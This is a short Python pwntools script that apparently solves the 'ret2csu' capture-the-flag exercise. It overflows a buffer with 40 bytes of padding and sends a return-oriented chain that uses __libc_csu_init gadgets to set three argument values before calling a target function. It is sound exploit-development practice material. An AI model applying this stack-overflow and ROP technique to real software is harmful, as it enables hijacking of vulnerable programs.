#!/usr/bin/env python3
from pwn import *

prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
payload = b''
for c in range(40):
    payload += b'a'


payload += p64(0x40069a)            # __libc_csu_init()
payload += p64(0)
payload += p64(0)
payload += p64(0x601020)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)

payload += p64(0x400680)


#payload += p64(0x00000000004006a3)
#payload += p64(0xdeadbeefdeadbeef)

payload += b"\n"

prog.sendline(payload)
prog.interactive()